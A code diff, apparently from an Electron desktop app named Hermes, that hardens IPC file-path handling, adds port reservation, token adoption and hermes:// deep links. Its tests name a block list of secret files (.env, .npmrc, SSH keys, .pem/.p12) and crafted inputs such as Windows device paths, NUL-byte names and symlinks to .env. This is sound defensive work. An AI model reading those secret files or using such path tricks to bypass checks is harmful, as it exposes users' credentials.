throw ipcPathError('EACCES', `${purpose} failed: file is not readable.`)
|
||||
}
|
||||
|
||||
return { resolvedPath, stat }
|
||||
return { realPath, resolvedPath, stat }
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
@@ -178,7 +262,10 @@ module.exports = {
|
||||
DEFAULT_FETCH_TIMEOUT_MS,
|
||||
TEXT_PREVIEW_SOURCE_MAX_BYTES,
|
||||
encryptDesktopSecret,
|
||||
rejectUnsafePathSyntax,
|
||||
resolveDirectoryForIpc,
|
||||
resolveReadableFileForIpc,
|
||||
resolveRequestedPathForIpc,
|
||||
resolveTimeoutMs,
|
||||
sensitiveFileBlockReason
|
||||
}
|
||||
|
||||
@@ -8,11 +8,20 @@ const { pathToFileURL } = require('node:url')
|
||||
const {
|
||||
DEFAULT_FETCH_TIMEOUT_MS,
|
||||
encryptDesktopSecret,
|
||||
resolveDirectoryForIpc,
|
||||
resolveReadableFileForIpc,
|
||||
resolveRequestedPathForIpc,
|
||||
resolveTimeoutMs,
|
||||
sensitiveFileBlockReason
|
||||
} = require('./hardening.cjs')
|
||||
|
||||
async function rejectsWithCode(promise, code) {
|
||||
await assert.rejects(promise, error => {
|
||||
assert.equal(error?.code, code)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
test('resolveTimeoutMs falls back to defaults and accepts overrides', () => {
|
||||
assert.equal(resolveTimeoutMs(undefined), DEFAULT_FETCH_TIMEOUT_MS)
|
||||
assert.equal(resolveTimeoutMs(0), DEFAULT_FETCH_TIMEOUT_MS)
|
||||
@@ -51,6 +60,52 @@ test('sensitiveFileBlockReason blocks obvious secret file patterns', () => {
|
||||
assert.match(String(sensitiveFileBlockReason('/tmp/server-cert.pem')), /\.pem/)
|
||||
})
|
||||
|
||||
test('path helpers reject blank non-string NUL and Windows device syntax', async () => {
|
||||
await rejectsWithCode(resolveReadableFileForIpc('', { purpose: 'File preview' }), 'invalid-path')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(' ', { purpose: 'File preview' }), 'invalid-path')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(null, { purpose: 'File preview' }), 'invalid-path')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(`safe${String.fromCharCode(0)}name.txt`), 'invalid-path')
|
||||
|
||||
const devicePaths = [
|
||||
'\\\\?\\C:\\secret.txt',
|
||||
'\\\\.\\C:\\secret.txt',
|
||||
'\\\\?\\UNC\\server\\share\\secret.txt',
|
||||
'GLOBALROOT/Device/HarddiskVolumeShadowCopy1/secret.txt'
|
||||
]
|
||||
|
||||
for (const devicePath of devicePaths) {
|
||||
assert.throws(
|
||||
() => resolveRequestedPathForIpc(devicePath, { purpose: 'File preview' }),
|
||||
error => {
|
||||
assert.equal(error?.code, 'device-path')
|
||||
return true
|
||||
}
|
||||
)
|
||||
await rejectsWithCode(resolveReadableFileForIpc(devicePath, { purpose: 'File preview' }), 'device-path')
|
||||
}
|
||||
|
||||
assert.throws(
|
||||
() => resolveRequestedPathForIpc('file:///%E0%A4%A', { purpose: 'File preview' }),
|
||||
error => {
|
||||
assert.equal(error?.code, 'invalid-path')
|
||||
return true
|
||||
}
|
||||
)
|
||||
await rejectsWithCode(resolveReadableFileForIpc('file:///%E0%A4%A', { purpose: 'File preview' }), 'invalid-path')
|
||||
})
|
||||
|
||||
test('resolveRequestedPathForIpc resolves relative paths from the trimmed base directory', () => {
|
||||
const baseDir = path.join(os.tmpdir(), 'hermes-desktop-base')
|
||||
|
||||
assert.equal(
|
||||
resolveRequestedPathForIpc('notes.txt', {
|
||||
baseDir: ` ${baseDir} `,
|
||||
purpose: 'File preview'
|
||||
}),
|
||||
path.resolve(baseDir, 'notes.txt')
|
||||
)
|
||||
})
|
||||
|
||||
test('resolveReadableFileForIpc validates existence type size and sensitivity', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-hardening-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
@@ -71,6 +126,13 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
|
||||
})
|
||||
assert.equal(fromFileUrl.resolvedPath, textPath)
|
||||
|
||||
const spacedPath = path.join(tempDir, 'notes with spaces.txt')
|
||||
fs.writeFileSync(spacedPath, 'space ok', 'utf8')
|
||||
const fromSpacedFileUrl = await resolveReadableFileForIpc(pathToFileURL(spacedPath).toString(), {
|
||||
purpose: 'File preview'
|
||||
})
|
||||
assert.equal(fromSpacedFileUrl.resolvedPath, spacedPath)
|
||||
|
||||
await assert.rejects(
|
||||
resolveReadableFileForIpc('missing.txt', {
|
||||
baseDir: tempDir,
|
||||
@@ -114,3 +176,91 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
|
||||
})
|
||||
assert.equal(envTemplate.resolvedPath, envTemplatePath)
|
||||
})
|
||||
|
||||
test('resolveReadableFileForIpc blocks common sensitive files', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-sensitive-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const sshDir = path.join(tempDir, '.ssh')
|
||||
fs.mkdirSync(sshDir)
|
||||
|
||||
const blockedFiles = [
|
||||
path.join(tempDir, '.env'),
|
||||
path.join(tempDir, '.npmrc'),
|
||||
path.join(sshDir, 'id_ed25519'),
|
||||
path.join(tempDir, 'cert.pem'),
|
||||
path.join(tempDir, 'cert.p12'),
|
||||
path.join(tempDir, 'cert.pfx')
|
||||
]
|
||||
|
||||
for (const filePath of blockedFiles) {
|
||||
fs.writeFileSync(filePath, 'secret', 'utf8')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(filePath, { purpose: 'File preview' }), 'sensitive-file')
|
||||
}
|
||||
|
||||
const allowed = path.join(tempDir, '.env.example')
|
||||
fs.writeFileSync(allowed, 'EXAMPLE_TOKEN=value', 'utf8')
|
||||
assert.equal((await resolveReadableFileForIpc(allowed, { purpose: 'File preview' })).resolvedPath, allowed)
|
||||
})
|
||||
|
||||
test('resolveReadableFileForIpc blocks symlinks whose realpath is sensitive', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-realpath-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const envPath = path.join(tempDir, '.env')
|
||||
const linkPath = path.join(tempDir, 'safe-name.txt')
|
||||
fs.writeFileSync(envPath, 'SECRET_TOKEN=123', 'utf8')
|
||||
|
||||
try {
|
||||
fs.symlinkSync(envPath, linkPath, 'file')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`symlink creation is not permitted on this platform (${error.code})`)
|
||||
return
|
||||
}
|
||||
throw error
|
||||
}
|
||||
|
||||
await rejectsWithCode(resolveReadableFileForIpc(linkPath, { purpose: 'File preview' }), 'sensitive-file')
|
||||
})
|
||||
|
||||
test('resolveDirectoryForIpc accepts directories and rejects invalid directory targets', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const directory = path.join(tempDir, 'project')
|
||||
const filePath = path.join(tempDir, 'file.txt')
|
||||
fs.mkdirSync(directory)
|
||||
fs.writeFileSync(filePath, 'not a directory', 'utf8')
|
||||
|
||||
const resolved = await resolveDirectoryForIpc(directory)
|
||||
assert.equal(resolved.resolvedPath, directory)
|
||||
assert.equal(resolved.stat.isDirectory(), true)
|
||||
|
||||
await rejectsWithCode(resolveDirectoryForIpc(filePath), 'ENOTDIR')
|
||||
await rejectsWithCode(resolveDirectoryForIpc(path.join(tempDir, 'missing')), 'ENOENT')
|
||||
await rejectsWithCode(resolveDirectoryForIpc('\\\\?\\C:\\secret'), 'device-path')
|
||||
})
|
||||
|
||||
test('resolveDirectoryForIpc accepts directory symlinks or junctions', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-link-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const directory = path.join(tempDir, 'actual-project')
|
||||
const linkPath = path.join(tempDir, 'linked-project')
|
||||
fs.mkdirSync(directory)
|
||||
|
||||
try {
|
||||
fs.symlinkSync(directory, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
|
||||
return
|
||||
}
|
||||
throw error
|
||||
}
|
||||
|
||||
const resolved = await resolveDirectoryForIpc(linkPath)
|
||||
assert.equal(resolved.resolvedPath, linkPath)
|
||||
assert.equal(resolved.stat.isDirectory(), true)
|
||||
})
|
||||
|
||||
@@ -22,15 +22,19 @@ const http = require('node:http')
|
||||
const https = require('node:https')
|
||||
const net = require('node:net')
|
||||
const path = require('node:path')
|
||||
const { fileURLToPath, pathToFileURL } = require('node:url')
|
||||
const { pathToFileURL } = require('node:url')
|
||||
const { execFileSync, spawn } = require('node:child_process')
|
||||
const { detectRemoteDisplay, isWindowsBinaryPathInWsl, isWslEnvironment } = require('./bootstrap-platform.cjs')
|
||||
const { runBootstrap } = require('./bootstrap-runner.cjs')
|
||||
const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
|
||||
const { canImportHermesCli, verifyHermesCli } = require('./backend-probes.cjs')
|
||||
const { probeGatewayWebSocket } = require('./gateway-ws-probe.cjs')
|
||||
const { adoptServedDashboardToken } = require('./dashboard-token.cjs')
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
const { serializeJsonBody, setJsonRequestHeaders } = require('./oauth-net-request.cjs')
|
||||
const { fetchMarketplaceThemes, searchMarketplaceThemes } = require('./vscode-marketplace.cjs')
|
||||
const { readDirForIpc } = require('./fs-read-dir.cjs')
|
||||
const { gitRootForIpc } = require('./git-root.cjs')
|
||||
const {
|
||||
OFFICIAL_REPO_HTTPS_URL,
|
||||
isOfficialSshRemote
|
||||
@@ -65,6 +69,7 @@ const {
|
||||
TEXT_PREVIEW_SOURCE_MAX_BYTES,
|
||||
encryptDesktopSecret: encryptDesktopSecretStrict,
|
||||
resolveReadableFileForIpc,
|
||||
resolveRequestedPathForIpc,
|
||||
resolveTimeoutMs
|
||||
} = require('./hardening.cjs')
|
||||
|
||||
@@ -104,6 +109,10 @@ if (USER_DATA_OVERRIDE) {
|
||||
|
||||
const PORT_FLOOR = 9120
|
||||
const PORT_CEILING = 9199
|
||||
// In-process port reservations that close the pickPort() TOCTOU window where
|
||||
// two concurrent backend spawns could be handed the same port. See
|
||||
// port-pool.cjs for the full rationale.
|
||||
const portPool = new PortPool(PORT_FLOOR, PORT_CEILING)
|
||||
const DEV_SERVER = process.env.HERMES_DESKTOP_DEV_SERVER
|
||||
const IS_PACKAGED = app.isPackaged
|
||||
const IS_MAC = process.platform === 'darwin'
|
||||
@@ -730,7 +739,7 @@ function openExternalUrl(rawUrl) {
|
||||
if (parsed.protocol === 'file:') {
|
||||
let localPath
|
||||
try {
|
||||
localPath = fileURLToPath(parsed.toString())
|
||||
localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open external file' })
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
@@ -2449,10 +2458,11 @@ function isPortAvailable(port) {
|
||||
}
|
||||
|
||||
async function pickPort() {
|
||||
for (let port = PORT_FLOOR; port <= PORT_CEILING; port += 1) {
|
||||
if (await isPortAvailable(port)) return port
|
||||
const port = await portPool.reserve(isPortAvailable)
|
||||
if (port === null) {
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
}
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
return port
|
||||
}
|
||||
|
||||
function fetchJson(url, token, options = {}) {
|
||||
@@ -2878,10 +2888,10 @@ async function resourceBufferFromUrl(rawUrl) {
|
||||
const buffer = match[2] ? Buffer.from(encoded, 'base64') : Buffer.from(decodeURIComponent(encoded), 'utf8')
|
||||
return { buffer, mimeType }
|
||||
}
|
||||
if (rawUrl.startsWith('file:')) {
|
||||
const filePath = fileURLToPath(rawUrl)
|
||||
const buffer = await fs.promises.readFile(filePath)
|
||||
return { buffer, mimeType: mimeTypeForPath(filePath) }
|
||||
if (/^file:/i.test(rawUrl)) {
|
||||
const { resolvedPath } = await resolveReadableFileForIpc(rawUrl, { purpose: 'Image file' })
|
||||
const buffer = await fs.promises.readFile(resolvedPath)
|
||||
return { buffer, mimeType: mimeTypeForPath(resolvedPath) }
|
||||
}
|
||||
|
||||
const parsed = new URL(rawUrl)
|
||||
@@ -2959,11 +2969,13 @@ function expandUserPath(filePath) {
|
||||
return value
|
||||
}
|
||||
|
||||
function previewFileTarget(rawTarget, baseDir) {
|
||||
async function previewFileTarget(rawTarget, baseDir) {
|
||||
const raw = String(rawTarget || '').trim()
|
||||
const base = baseDir ? path.resolve(expandUserPath(baseDir)) : resolveHermesCwd()
|
||||
const filePath = raw.startsWith('file:') ? fileURLToPath(raw) : path.resolve(base, expandUserPath(raw))
|
||||
let resolved = filePath
|
||||
let resolved = resolveRequestedPathForIpc(/^file:/i.test(raw) ? raw : expandUserPath(raw), {
|
||||
baseDir: base,
|
||||
purpose: 'Preview target'
|
||||
})
|
||||
|
||||
if (directoryExists(resolved)) {
|
||||
resolved = path.join(resolved, 'index.html')
|
||||
@@ -2974,6 +2986,8 @@ function previewFileTarget(rawTarget, baseDir) {
|
||||
return null
|
||||
}
|
||||
|
||||
;({ resolvedPath: resolved } = await resolveReadableFileForIpc(resolved, { purpose: 'Preview target' }))
|
||||
|
||||
const mimeType = mimeTypeForPath(resolved)
|
||||
const metadata = previewFileMetadata(resolved, mimeType)
|
||||
const isHtml = PREVIEW_HTML_EXTENSIONS.has(ext)
|
||||
@@ -3019,7 +3033,7 @@ function previewUrlTarget(rawTarget) {
|
||||
}
|
||||
}
|
||||
|
||||
function normalizePreviewTarget(rawTarget, baseDir) {
|
||||
async function normalizePreviewTarget(rawTarget, baseDir) {
|
||||
const raw = String(rawTarget || '').trim()
|
||||
|
||||
if (!raw) {
|
||||
@@ -3031,20 +3045,15 @@ function normalizePreviewTarget(rawTarget, baseDir) {
|
||||
return previewUrlTarget(raw)
|
||||
}
|
||||
|
||||
return previewFileTarget(raw, baseDir)
|
||||
return await previewFileTarget(raw, baseDir)
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
function filePathFromPreviewUrl(rawUrl) {
|
||||
const filePath = fileURLToPath(String(rawUrl || ''))
|
||||
|
||||
if (!fileExists(filePath)) {
|
||||
throw new Error('Preview file is not readable')
|
||||
}
|
||||
|
||||
return filePath
|
||||
async function filePathFromPreviewUrl(rawUrl) {
|
||||
const { resolvedPath } = await resolveReadableFileForIpc(String(rawUrl || ''), { purpose: 'Preview file' })
|
||||
return resolvedPath
|
||||
}
|
||||
|
||||
function sendPreviewFileChanged(payload) {
|
||||
@@ -3054,8 +3063,8 @@ function sendPreviewFileChanged(payload) {
|
||||
webContents.send('hermes:preview-file-changed', payload)
|
||||
}
|
||||
|
||||
function watchPreviewFile(rawUrl) {
|
||||
const filePath = filePathFromPreviewUrl(rawUrl)
|
||||
async function watchPreviewFile(rawUrl) {
|
||||
const filePath = await filePathFromPreviewUrl(rawUrl)
|
||||
const watchDir = path.dirname(filePath)
|
||||
const targetName = path.basename(filePath)
|
||||
const id = crypto.randomBytes(12).toString('base64url')
|
||||
@@ -4537,9 +4546,20 @@ async function spawnPoolBackend(profile, entry) {
|
||||
// --profile wins over the inherited HERMES_HOME env (see _apply_profile_override
|
||||
// step 3 in hermes_cli/main.py), so the child re-homes to this profile.
|
||||
const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
const backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
const hermesCwd = resolveHermesCwd()
|
||||
const webDist = resolveWebDist()
|
||||
let backend
|
||||
let hermesCwd
|
||||
let webDist
|
||||
try {
|
||||
backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
hermesCwd = resolveHermesCwd()
|
||||
webDist = resolveWebDist()
|
||||
} catch (error) {
|
||||
// These run before the child exists / its exit handler is attached, so a
|
||||
// throw here would otherwise leak the reservation and slowly exhaust the
|
||||
// 9120-9199 range across switch cycles in one app session.
|
||||
portPool.release(port)
|
||||
throw error
|
||||
}
|
||||
|
||||
rememberLog(`Starting Hermes backend for profile "${profile}" via ${backend.label}`)
|
||||
|
||||
@@ -4577,11 +4597,13 @@ async function spawnPoolBackend(profile, entry) {
|
||||
child.once('error', error => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" failed to start: ${error.message}`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
rejectStart?.(error)
|
||||
})
|
||||
child.once('exit', (code, signal) => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" exited (${signal || code})`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
if (!ready) {
|
||||
rejectStart?.(
|
||||
new Error(`Hermes backend for profile "${profile}" exited before it became ready (${signal || code}).`)
|
||||
@@ -4592,15 +4614,21 @@ async function spawnPoolBackend(profile, entry) {
|
||||
const baseUrl = `http://127.0.0.1:${port}`
|
||||
await Promise.race([waitForHermes(baseUrl, token), startFailed])
|
||||
ready = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
childAlive: () => child.exitCode === null && !child.killed,
|
||||
label: `Hermes backend for profile "${profile}"`,
|
||||
rememberLog
|
||||
})
|
||||
entry.token = authToken
|
||||
|
||||
return {
|
||||
baseUrl,
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
token: authToken,
|
||||
profile,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4610,6 +4638,7 @@ function stopPoolBackend(profile) {
|
||||
const entry = backendPool.get(profile)
|
||||
if (!entry) return
|
||||
backendPool.delete(profile)
|
||||
if (entry.port) portPool.release(entry.port)
|
||||
if (entry.process && !entry.process.killed) {
|
||||
try {
|
||||
entry.process.kill('SIGTERM')
|
||||
@@ -4695,6 +4724,11 @@ async function startHermes() {
|
||||
}
|
||||
if (connectionPromise) return connectionPromise
|
||||
|
||||
// Hoisted so the outer .catch can release a port reserved by pickPort() when
|
||||
// a throw (e.g. ensureRuntime failing) happens before the child's exit
|
||||
// handler is attached. Stays null on the remote path (no port picked).
|
||||
let reservedPort = null
|
||||
|
||||
connectionPromise = (async () => {
|
||||
await advanceBootProgress('backend.resolve', 'Resolving Hermes backend', 8)
|
||||
// Resolve for the desktop's primary profile so a per-profile remote
|
||||
@@ -4724,6 +4758,7 @@ async function startHermes() {
|
||||
|
||||
await advanceBootProgress('backend.port', 'Finding an open local port', 16)
|
||||
const port = await pickPort()
|
||||
reservedPort = port
|
||||
const token = crypto.randomBytes(32).toString('base64url')
|
||||
const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
// Pin the desktop's chosen profile via the global --profile flag. This is
|
||||
@@ -4788,6 +4823,7 @@ async function startHermes() {
|
||||
)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code: null, signal: null, error: error.message })
|
||||
rejectBackendStart?.(error)
|
||||
})
|
||||
@@ -4795,6 +4831,7 @@ async function startHermes() {
|
||||
rememberLog(`Hermes backend exited (${signal || code})`)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code, signal })
|
||||
if (!backendReady) {
|
||||
const message = `Hermes backend exited before it became ready (${signal || code}).`
|
||||
@@ -4819,6 +4856,11 @@ async function startHermes() {
|
||||
await advanceBootProgress('backend.wait', 'Waiting for Hermes backend to become ready', 90)
|
||||
await Promise.race([waitForHermes(baseUrl, token), backendStartFailed])
|
||||
backendReady = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
// The exit/error handlers null hermesProcess when the child dies.
|
||||
childAlive: () => hermesProcess !== null && hermesProcess.exitCode === null && !hermesProcess.killed,
|
||||
rememberLog
|
||||
})
|
||||
updateBootProgress({
|
||||
phase: 'backend.ready',
|
||||
message: 'Hermes backend is ready. Finalizing desktop startup',
|
||||
@@ -4832,8 +4874,8 @@ async function startHermes() {
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
token: authToken,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4849,6 +4891,7 @@ async function startHermes() {
|
||||
{ allowDecrease: true }
|
||||
)
|
||||
connectionPromise = null
|
||||
portPool.release(reservedPort)
|
||||
throw error
|
||||
})
|
||||
|
||||
@@ -5123,8 +5166,8 @@ ipcMain.handle('hermes:bootstrap:reset', async () => {
|
||||
// reset connection state so the next startHermes() call restarts the
|
||||
// full backend flow (including a fresh runBootstrap pass).
|
||||
rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
|
||||
await teardownPrimaryBackendAndWait()
|
||||
bootstrapFailure = null
|
||||
connectionPromise = null
|
||||
bootstrapState = {
|
||||
active: false,
|
||||
manifest: null,
|
||||
@@ -5587,48 +5630,6 @@ ipcMain.handle('hermes:logs:reveal', async () => {
|
||||
|
||||
ipcMain.handle('hermes:logs:recent', async () => ({ path: DESKTOP_LOG_PATH, lines: hermesLog.slice(-200) }))
|
||||
|
||||
// Always-hidden noise (covers non-git projects too — gitignore would catch
|
||||
// these anyway when present, but we want the same hygiene without one).
|
||||
const FS_READDIR_HIDDEN = new Set([
|
||||
'.git',
|
||||
'.hg',
|
||||
'.svn',
|
||||
'.cache',
|
||||
'.next',
|
||||
'.turbo',
|
||||
'.venv',
|
||||
'__pycache__',
|
||||
'build',
|
||||
'dist',
|
||||
'node_modules',
|
||||
'target',
|
||||
'venv'
|
||||
])
|
||||
|
||||
function findGitRoot(start) {
|
||||
let dir = start
|
||||
|
||||
for (let i = 0; i < 50; i += 1) {
|
||||
try {
|
||||
if (fs.existsSync(path.join(dir, '.git'))) {
|
||||
return dir
|
||||
}
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
|
||||
const parent = path.dirname(dir)
|
||||
|
||||
if (parent === dir) {
|
||||
return null
|
||||
}
|
||||
|
||||
dir = parent
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
function isExecutableFile(filePath) {
|
||||
if (!filePath || !path.isAbsolute(filePath)) {
|
||||
return false
|
||||
@@ -5811,46 +5812,9 @@ function disposeTerminalSession(id) {
|
||||
return true
|
||||
}
|
||||
|
||||
ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => {
|
||||
const resolved = path.resolve(String(dirPath || ''))
|
||||
ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => readDirForIpc(dirPath))
|
||||
|
||||
if (!resolved) {
|
||||
return { entries: [], error: 'invalid-path' }
|
||||
}
|
||||
|
||||
try {
|
||||
const dirents = await fs.promises.readdir(resolved, { withFileTypes: true })
|
||||
|
||||
const entries = dirents
|
||||
.filter(d => {
|
||||
if (FS_READDIR_HIDDEN.has(d.name)) {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
.map(d => ({ name: d.name, path: path.join(resolved, d.name), isDirectory: d.isDirectory() }))
|
||||
.sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
|
||||
|
||||
return { entries }
|
||||
} catch (error) {
|
||||
return { entries: [], error: error?.code || 'read-error' }
|
||||
}
|
||||
})
|
||||
|
||||
ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => {
|
||||
const input = String(startPath || '')
|
||||
const resolved = input.startsWith('file:') ? fileURLToPath(input) : path.resolve(input)
|
||||
|
||||
try {
|
||||
const stat = await fs.promises.stat(resolved)
|
||||
const start = stat.isDirectory() ? resolved : path.dirname(resolved)
|
||||
|
||||
return findGitRoot(start)
|
||||
} catch {
|
||||
return findGitRoot(resolved)
|
||||
}
|
||||
})
|
||||
ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => gitRootForIpc(startPath))
|
||||
|
||||
ipcMain.handle('hermes:terminal:start', async (event, payload = {}) => {
|
||||
if (!nodePty) {
|
||||
@@ -6188,6 +6152,111 @@ ipcMain.handle('hermes:vscode-theme:fetch', async (_event, id) => fetchMarketpla
|
||||
// Search the Marketplace for color-theme extensions (empty query = top installs).
|
||||
ipcMain.handle('hermes:vscode-theme:search', async (_event, query) => searchMarketplaceThemes(String(query || ''), 20))
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// hermes:// deep links (e.g. hermes://blueprint/morning-brief?time=08:00).
|
||||
// A docs/dashboard "Send to App" button opens this URL; we route it into the
|
||||
// running app's chat composer. Three delivery paths: macOS 'open-url',
|
||||
// Win/Linux running-app 'second-instance' (argv), Win/Linux cold-start argv.
|
||||
// ---------------------------------------------------------------------------
|
||||
const HERMES_PROTOCOL = 'hermes'
|
||||
let _pendingDeepLink = null
|
||||
let _rendererReadyForDeepLink = false
|
||||
|
||||
function _extractDeepLink(argv) {
|
||||
if (!Array.isArray(argv)) return null
|
||||
return argv.find((a) => typeof a === 'string' && a.startsWith(`${HERMES_PROTOCOL}://`)) || null
|
||||
}
|
||||
|
||||
function handleDeepLink(url) {
|
||||
if (!url || typeof url !== 'string') return
|
||||
let parsed
|
||||
try {
|
||||
parsed = new URL(url)
|
||||
} catch {
|
||||
rememberLog(`[deeplink] ignoring malformed url: ${url}`)
|
||||
return
|
||||
}
|
||||
// hermes://blueprint/<key>?slot=val -> host="blueprint", path="/<key>"
|
||||
const kind = parsed.hostname || ''
|
||||
const name = decodeURIComponent((parsed.pathname || '').replace(/^\//, ''))
|
||||
const params = {}
|
||||
parsed.searchParams.forEach((v, k) => {
|
||||
params[k] = v
|
||||
})
|
||||
const payload = { kind, name, params }
|
||||
|
||||
if (!_rendererReadyForDeepLink || !mainWindow || mainWindow.isDestroyed()) {
|
||||
_pendingDeepLink = payload
|
||||
return
|
||||
}
|
||||
try {
|
||||
if (mainWindow.isMinimized()) mainWindow.restore()
|
||||
mainWindow.focus()
|
||||
mainWindow.webContents.send('hermes:deep-link', payload)
|
||||
rememberLog(`[deeplink] delivered ${kind}/${name}`)
|
||||
} catch (err) {
|
||||
rememberLog(`[deeplink] delivery failed: ${err.message}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Renderer calls this (via IPC) once it has mounted its deep-link listener, so
|
||||
// a link that arrived during boot/install is flushed exactly once.
|
||||
ipcMain.handle('hermes:deep-link-ready', () => {
|
||||
_rendererReadyForDeepLink = true
|
||||
if (_pendingDeepLink) {
|
||||
const queued = _pendingDeepLink
|
||||
_pendingDeepLink = null
|
||||
handleDeepLink(
|
||||
`${HERMES_PROTOCOL}://${queued.kind}/${encodeURIComponent(queued.name)}` +
|
||||
(Object.keys(queued.params).length
|
||||
? '?' + new URLSearchParams(queued.params).toString()
|
||||
: ''),
|
||||
)
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
function registerDeepLinkProtocol() {
|
||||
try {
|
||||
if (process.defaultApp && process.argv.length >= 2) {
|
||||
// Dev: register with the electron exec path + entry script so the OS can
|
||||
// relaunch us with the URL.
|
||||
app.setAsDefaultProtocolClient(HERMES_PROTOCOL, process.execPath, [
|
||||
path.resolve(process.argv[1]),
|
||||
])
|
||||
} else {
|
||||
app.setAsDefaultProtocolClient(HERMES_PROTOCOL)
|
||||
}
|
||||
} catch (err) {
|
||||
rememberLog(`[deeplink] protocol registration failed: ${err.message}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Single-instance lock: deep links on a running app (Win/Linux) arrive as a
|
||||
// second-instance argv. Without the lock a second `hermes://` launch spawns a
|
||||
// whole new app instead of routing into the running one.
|
||||
const _gotSingleInstanceLock = app.requestSingleInstanceLock()
|
||||
if (!_gotSingleInstanceLock) {
|
||||
app.quit()
|
||||
} else {
|
||||
app.on('second-instance', (_event, argv) => {
|
||||
const url = _extractDeepLink(argv)
|
||||
if (url) handleDeepLink(url)
|
||||
else if (mainWindow) {
|
||||
if (mainWindow.isMinimized()) mainWindow.restore()
|
||||
mainWindow.focus()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// macOS delivers deep links via 'open-url' — register early (can fire before
|
||||
// whenReady; handleDeepLink queues until the renderer is ready).
|
||||
app.on('open-url', (event, url) => {
|
||||
event.preventDefault()
|
||||
handleDeepLink(url)
|
||||
})
|
||||
|
||||
|
||||
app.whenReady().then(() => {
|
||||
if (IS_MAC) {
|
||||
Menu.setApplicationMenu(buildApplicationMenu())
|
||||
@@ -6196,11 +6265,16 @@ app.whenReady().then(() => {
|
||||
}
|
||||
installMediaPermissions()
|
||||
registerMediaProtocol()
|
||||
registerDeepLinkProtocol()
|
||||
ensureWslWindowsFonts()
|
||||
configureSpellChecker()
|
||||
registerPowerResumeListeners()
|
||||
createWindow()
|
||||
|
||||
// Win/Linux cold start: the launching hermes:// URL is in our own argv.
|
